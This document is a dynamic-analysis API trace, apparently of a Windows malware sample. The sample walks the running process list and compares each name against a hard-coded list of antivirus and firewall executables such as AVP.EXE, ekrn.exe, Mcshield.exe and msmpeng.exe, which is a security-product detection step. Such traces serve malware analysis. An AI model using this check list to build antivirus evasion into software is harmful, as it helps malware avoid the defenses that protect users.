	[0082.663] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0082.664] GetLastError () returned 0xcb
	[0082.664] lstrcmpiW (lpString1="AVP.EXE", lpString2="csrss.exe") returned -1
	[0082.664] lstrcmpiW (lpString1="ekrn.exe", lpString2="csrss.exe") returned 1
	[0082.664] lstrcmpiW (lpString1="avgnt.exe", lpString2="csrss.exe") returned -1
	[0082.664] lstrcmpiW (lpString1="ashDisp.exe", lpString2="csrss.exe") returned -1
	[0082.664] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="csrss.exe") returned 1
	[0082.664] lstrcmpiW (lpString1="Mcshield.exe", lpString2="csrss.exe") returned 1
	[0082.664] lstrcmpiW (lpString1="avengine.exe", lpString2="csrss.exe") returned -1
	[0082.664] lstrcmpiW (lpString1="cmdagent.exe", lpString2="csrss.exe") returned -1
	[0082.664] lstrcmpiW (lpString1="smc.exe", lpString2="csrss.exe") returned 1
	[0082.664] lstrcmpiW (lpString1="persfw.exe", lpString2="csrss.exe") returned 1
	[0082.664] lstrcmpiW (lpString1="pccpfw.exe", lpString2="csrss.exe") returned 1
	[0082.664] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="csrss.exe") returned 1
	[0082.664] lstrcmpiW (lpString1="cfp.exe", lpString2="csrss.exe") returned -1
	[0082.664] lstrcmpiW (lpString1="msmpeng.exe", lpString2="csrss.exe") returned 1
	[0082.664] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0082.665] GetLastError () returned 0xcb
	[0082.665] lstrcmpiW (lpString1="AVP.EXE", lpString2="winlogon.exe") returned -1
	[0082.665] lstrcmpiW (lpString1="ekrn.exe", lpString2="winlogon.exe") returned -1
	[0082.665] lstrcmpiW (lpString1="avgnt.exe", lpString2="winlogon.exe") returned -1
	[0082.665] lstrcmpiW (lpString1="ashDisp.exe", lpString2="winlogon.exe") returned -1
	[0082.665] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="winlogon.exe") returned -1
	[0082.665] lstrcmpiW (lpString1="Mcshield.exe", lpString2="winlogon.exe") returned -1
	[0082.665] lstrcmpiW (lpString1="avengine.exe", lpString2="winlogon.exe") returned -1
	[0082.665] lstrcmpiW (lpString1="cmdagent.exe", lpString2="winlogon.exe") returned -1
	[0082.665] lstrcmpiW (lpString1="smc.exe", lpString2="winlogon.exe") returned -1
	[0082.665] lstrcmpiW (lpString1="persfw.exe", lpString2="winlogon.exe") returned -1
	[0082.665] lstrcmpiW (lpString1="pccpfw.exe", lpString2="winlogon.exe") returned -1
	[0082.666] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="winlogon.exe") returned -1
	[0082.666] lstrcmpiW (lpString1="cfp.exe", lpString2="winlogon.exe") returned -1
	[0082.666] lstrcmpiW (lpString1="msmpeng.exe", lpString2="winlogon.exe") returned -1
	[0082.666] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0082.666] GetLastError () returned 0xcb
	[0082.666] lstrcmpiW (lpString1="AVP.EXE", lpString2="services.exe") returned -1
	[0082.666] lstrcmpiW (lpString1="ekrn.exe", lpString2="services.exe") returned -1
	[0082.666] lstrcmpiW (lpString1="avgnt.exe", lpString2="services.exe") returned -1
	[0082.666] lstrcmpiW (lpString1="ashDisp.exe", lpString2="services.exe") returned -1
	[0082.667] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="services.exe") returned -1
	[0082.667] lstrcmpiW (lpString1="Mcshield.exe", lpString2="services.exe") returned -1
	[0082.667] lstrcmpiW (lpString1="avengine.exe", lpString2="services.exe") returned -1
	[0082.667] lstrcmpiW (lpString1="cmdagent.exe", lpString2="services.exe") returned -1
	[0082.667] lstrcmpiW (lpString1="smc.exe", lpString2="services.exe") returned 1
	[0082.667] lstrcmpiW (lpString1="persfw.exe", lpString2="services.exe") returned -1
	[0082.667] lstrcmpiW (lpString1="pccpfw.exe", lpString2="services.exe") returned -1
	[0082.667] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="services.exe") returned -1
	[0082.667] lstrcmpiW (lpString1="cfp.exe", lpString2="services.exe") returned -1
	[0082.667] lstrcmpiW (lpString1="msmpeng.exe", lpString2="services.exe") returned -1
	[0082.667] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0082.668] GetLastError () returned 0xcb
	[0082.668] lstrcmpiW (lpString1="AVP.EXE", lpString2="lsass.exe") returned -1
	[0082.668] lstrcmpiW (lpString1="ekrn.exe", lpString2="lsass.exe") returned -1
	[0082.668] lstrcmpiW (lpString1="avgnt.exe", lpString2="lsass.exe") returned -1
	[0082.668] lstrcmpiW (lpString1="ashDisp.exe", lpString2="lsass.exe") returned -1
	[0082.668] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="lsass.exe") returned 1
	[0082.668] lstrcmpiW (lpString1="Mcshield.exe", lpString2="lsass.exe") returned 1
	[0082.668] lstrcmpiW (lpString1="avengine.exe", lpString2="lsass.exe") returned -1
	[0082.668] lstrcmpiW (lpString1="cmdagent.exe", lpString2="lsass.exe") returned -1
	[0082.668] lstrcmpiW (lpString1="smc.exe", lpString2="lsass.exe") returned 1
	[0082.668] lstrcmpiW (lpString1="persfw.exe", lpString2="lsass.exe") returned 1
	[0082.668] lstrcmpiW (lpString1="pccpfw.exe", lpString2="lsass.exe") returned 1
	[0082.668] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="lsass.exe") returned -1
	[0082.668] lstrcmpiW (lpString1="cfp.exe", lpString2="lsass.exe") returned -1
	[0082.668] lstrcmpiW (lpString1="msmpeng.exe", lpString2="lsass.exe") returned 1
	[0082.668] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.669] GetLastError () returned 0xcb
	[0082.669] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1
	[0082.669] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1
	[0082.669] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1
	[0082.669] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1
	[0082.669] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1
	[0082.669] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1
	[0082.669] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1
	[0082.669] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1
	[0082.669] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1
	[0082.669] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1
	[0082.669] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1
	[0082.669] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1
	[0082.669] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1
	[0082.669] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1
	[0082.670] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.670] GetLastError () returned 0xcb
	[0082.670] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1
	[0082.670] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1
	[0082.670] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1
	[0082.670] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1
	[0082.670] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1
	[0082.670] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1
	[0082.670] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1
	[0082.671] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1
	[0082.671] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1
	[0082.671] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1
	[0082.671] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1
	[0082.671] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1
	[0082.671] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1
	[0082.671] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1
	[0082.671] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0082.672] GetLastError () returned 0xcb
	[0082.672] lstrcmpiW (lpString1="AVP.EXE", lpString2="dwm.exe") returned -1
	[0082.672] lstrcmpiW (lpString1="ekrn.exe", lpString2="dwm.exe") returned 1
	[0082.672] lstrcmpiW (lpString1="avgnt.exe", lpString2="dwm.exe") returned -1
	[0082.672] lstrcmpiW (lpString1="ashDisp.exe", lpString2="dwm.exe") returned -1
	[0082.672] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="dwm.exe") returned 1
	[0082.672] lstrcmpiW (lpString1="Mcshield.exe", lpString2="dwm.exe") returned 1
	[0082.672] lstrcmpiW (lpString1="avengine.exe", lpString2="dwm.exe") returned -1
	[0082.672] lstrcmpiW (lpString1="cmdagent.exe", lpString2="dwm.exe") returned -1
	[0082.672] lstrcmpiW (lpString1="smc.exe", lpString2="dwm.exe") returned 1
	[0082.672] lstrcmpiW (lpString1="persfw.exe", lpString2="dwm.exe") returned 1
	[0082.672] lstrcmpiW (lpString1="pccpfw.exe", lpString2="dwm.exe") returned 1
	[0082.672] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="dwm.exe") returned 1
	[0082.672] lstrcmpiW (lpString1="cfp.exe", lpString2="dwm.exe") returned -1
	[0082.672] lstrcmpiW (lpString1="msmpeng.exe", lpString2="dwm.exe") returned 1
	[0082.672] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.673] GetLastError () returned 0xcb
	[0082.673] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1
	[0082.673] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1
	[0082.673] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1
	[0082.673] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1
	[0082.673] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1
	[0082.673] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1
	[0082.673] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1
	[0082.673] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1
	[0082.673] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1
	[0082.673] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1
	[0082.673] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1
	[0082.673] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1
	[0082.673] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1
	[0082.673] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1
	[0082.673] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.674] GetLastError () returned 0xcb
	[0082.674] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1
	[0082.674] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1
	[0082.674] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1
	[0082.674] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1
	[0082.674] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1
	[0082.674] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1
	[0082.674] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1
	[0082.674] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1
	[0082.674] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1
	[0082.675] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1
	[0082.675] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1
	[0082.675] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1
	[0082.675] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1
	[0082.675] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1
	[0082.675] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.675] GetLastError () returned 0xcb
	[0082.675] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1
	[0082.676] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1
	[0082.676] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1
	[0082.676] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1
	[0082.676] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1
	[0082.676] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1
	[0082.676] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1
	[0082.676] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1
	[0082.676] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1
	[0082.676] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1
	[0082.676] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1
	[0082.676] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1
	[0082.676] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1
	[0082.676] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1
	[0082.676] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.677] GetLastError () returned 0xcb
	[0082.677] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1
	[0082.677] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1
	[0082.677] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1
	[0082.677] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1
	[0082.677] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1
	[0082.677] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1
	[0082.677] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1
	[0082.677] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1
	[0082.677] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1
	[0082.677] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1
	[0082.677] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1
	[0082.677] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1
	[0082.677] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1
	[0082.677] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1
	[0082.677] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.678] GetLastError () returned 0xcb
	[0082.678] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1
	[0082.679] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1
	[0082.679] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1
	[0082.679] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1
	[0082.679] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1
	[0082.679] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1
	[0082.679] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1
	[0082.679] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1
	[0082.679] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1
	[0082.680] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1
	[0082.680] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1
	[0082.680] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1
	[0082.680] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1
	[0082.680] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1
	[0082.680] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x264, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.680] GetLastError () returned 0xcb
	[0082.681] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1
	[0082.681] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1
	[0082.681] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1
	[0082.681] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1
	[0082.681] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1
	[0082.681] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1
	[0082.681] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1
	[0082.681] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1
	[0082.681] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1
	[0082.681] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1
	[0082.681] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1
	[0082.681] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0082.682] GetLastError () returned 0xcb
	[0082.682] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.682] GetLastError () returned 0xcb
	[0082.683] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.683] GetLastError () returned 0xcb
	[0082.683] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0082.684] GetLastError () returned 0xcb
	[0082.684] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.685] GetLastError () returned 0xcb
	[0082.685] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0082.685] GetLastError () returned 0xcb
	[0082.686] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0082.686] GetLastError () returned 0xcb
	[0082.686] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0082.687] GetLastError () returned 0xcb
	[0082.687] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0082.688] GetLastError () returned 0xcb
	[0082.688] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0082.688] GetLastError () returned 0xcb
	[0082.688] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0082.689] GetLastError () returned 0xcb
	[0082.689] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="beds-rice-judgment.exe")) returned 1
	[0082.690] GetLastError () returned 0xcb
	[0082.690] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="crash.exe")) returned 1
	[0082.691] GetLastError () returned 0xcb
	[0082.691] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="tucson.exe")) returned 1
	[0082.691] GetLastError () returned 0xcb
	[0082.691] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="bed residential remove pantyhose.exe")) returned 1
	[0082.692] GetLastError () returned 0xcb
	[0082.692] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="threat.exe")) returned 1
	[0082.693] GetLastError () returned 0xcb
	[0082.693] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="stays_actors_hardware_cf.exe")) returned 1
	[0082.693] GetLastError () returned 0xcb
	[0082.693] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="atomicphysician.exe")) returned 1
	[0082.696] GetLastError () returned 0xcb
	[0082.696] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sydney.exe")) returned 1
	[0082.696] GetLastError () returned 0xcb
	[0082.696] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="nrappreciate.exe")) returned 1
	[0082.697] GetLastError () returned 0xcb
	[0082.697] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="imagine_perspective_martha_crime.exe")) returned 1
